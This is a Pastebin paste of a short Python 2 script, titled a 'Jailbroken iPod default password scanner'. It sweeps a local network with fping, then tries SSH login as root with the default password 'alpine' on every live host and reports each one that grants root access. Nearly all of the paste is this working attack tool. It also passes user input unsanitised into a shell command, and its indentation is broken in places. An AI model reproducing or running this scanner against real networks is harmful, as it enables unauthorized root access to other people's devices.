Advertisement
Guest User

Untitled

a guest
Jul 2nd, 2017
63
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.11 KB | None | 0 0
  1. #Jailbroken iPod default password scanner
  2.  
  3.  
  4. import paramiko
  5. import os
  6.  
  7. ssh = paramiko.SSHClient()
  8. ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  9.  
  10. #find hosts on LAN
  11. output_file = raw_input("Name the output file: ")
  12. netmask = raw_input("Netmask: ")
  13. def find_hosts():
  14.     print '[Attempting to scan...]'
  15.     os.system('fping -a -g '+netmask+' -s > '+output_file)
  16.     print '[Scan done...]'
  17.  
  18. find_hosts()
  19.  
  20.  
  21. file = open(output_file, 'r')
  22. ip_list = file.read().split("\n")
  23. file.close()
  24. ip_length = len(ip_list)-1
  25.  
  26. count = 0
  27.  
  28. print "[Testing " +str(ip_length)+ " hosts]"
  29.  
  30.  
  31. def scan():
  32.     global count
  33.    
  34.     if count == ip_length:
  35.     return
  36.     try:
  37.     ip_list[count] = ip_list[count].replace(" ","")
  38.     print "Trying ["+ip_list[count]+"]"
  39.     ssh.connect(ip_list[count], username="root", password="alpine")
  40.     stdin, stdout, stderr = ssh.exec_command("whoami")
  41.     if stdout.read().split("\n")[0] == "root":
  42.         print "ROOT ACCESS, HOST="+ip_list[count]
  43.        
  44.     else:
  45.         ssh.close()
  46.     except:pass
  47.    
  48.     count = count + 1
  49.     scan()
  50.    
  51.    
  52. scan()
  53.    
  54.    
  55. raw_input("Scan finished")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement